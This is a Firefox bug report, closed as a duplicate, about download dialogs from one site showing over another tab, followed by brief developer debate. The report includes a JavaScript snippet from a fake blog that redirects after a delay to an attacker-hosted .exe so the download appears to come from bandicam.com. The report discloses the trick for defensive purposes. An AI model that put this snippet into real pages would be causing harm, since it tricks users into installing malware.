1766843 - Download / Save file dialog appears in another tab

Status: RESOLVED DUPLICATE of bug 741050

(Firefox :: Downloads Panel, enhancement)

Description

[ArdyanVickyRamadhan]

Attachment: bandicam 2022-04-28 19-34-36-749.mp4

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0

Steps to reproduce:

• Hackers create fake blogs with articles (eg How to download bandicam)
• Then the victim opens the article and the victim clicks the download link from the blog, the download link directs the victim to the official site belonging to bandicam.com, and suddenly a download / save file dialog appears after the victim opens the official site bandicam.com
• Then the user allows downloading / saving the application and installing it without suspicion.

Actual results:

When the victim redirects to bandicam.com, the a.com site (a hacker's blog) automatically executes the code below after 6 seconds.

<script>
setTimeout(function(){
window.location = "http://reoneh4x0r.tk/brokensec/bdcamsetup.exe";
},6000);
</script>

And a download / save file dialog will appear on the bandicam.com site, the target will automatically agree to download the app, because he knows that the official domain currently being accessed is bandicam.com, without realizing that the dialog actually comes from the a.com site (which where the application is malware).

Impact, Makes it easy for a hacker to embed malware on the target device without telling them to install it. This is a simple example, the extension could be any other file, it doesn't have to be .exe.

Expected results:

Displaying the download / save file dialog in another tab makes it easy for the malware itself to be downloaded by the user.
Supposedly, the dialogue from the a.com site should not appear on the b.com site, it causes piracy.

Comment 2

[Daniel Veditz [:dveditz]]

Is this really a dupe of bug 741050? mechanically on the back end, yes, but one of the reasons we were comfortable not fixing that bug was because the prompt that was shown showed the actual name of the site doing the download. The new UI gives a new experience.

reopening for that debate, but we may well decide it's a duplicate after all

Comment 3

[:Gijs (he/him)]

(In reply to Daniel Veditz [:dveditz] from comment #2)

Is this really a dupe of bug 741050? mechanically on the back end, yes, but one of the reasons we were comfortable not fixing that bug was because the prompt that was shown showed the actual name of the site doing the download. The new UI gives a new experience.

reopening for that debate, but we may well decide it's a duplicate after all

We never showed the site doing the download, just the URL from which the download is happening. That's not super useful, it's usually a CDN even for benign sites, which is useless for most people. See also debate in bug 1758570.

I don't think this is fundamentally different.

Separate from bug 1711049 and friends, I don't see how we're going to do much of anything here - comment 0 suggests "suppressing" the panel (but what then - still download the file in the background... that would be even more confusing / offer potential for abuse!). Neither showing the panel nor downloading is user-hostile.

No, I think we should block the download, and we might choose to use the "did this originate in something other than the currently selected tab" as additional info to cause the download to be blocked, perhaps in a new/separate dep of bug 1711049, but I don't see that we need 2 bugs here.

If you think the lack of URL info means this is now more severe, let's have that discussion in bug 741050?

Comment 4

[Daniel Veditz [:dveditz]]

fair enough.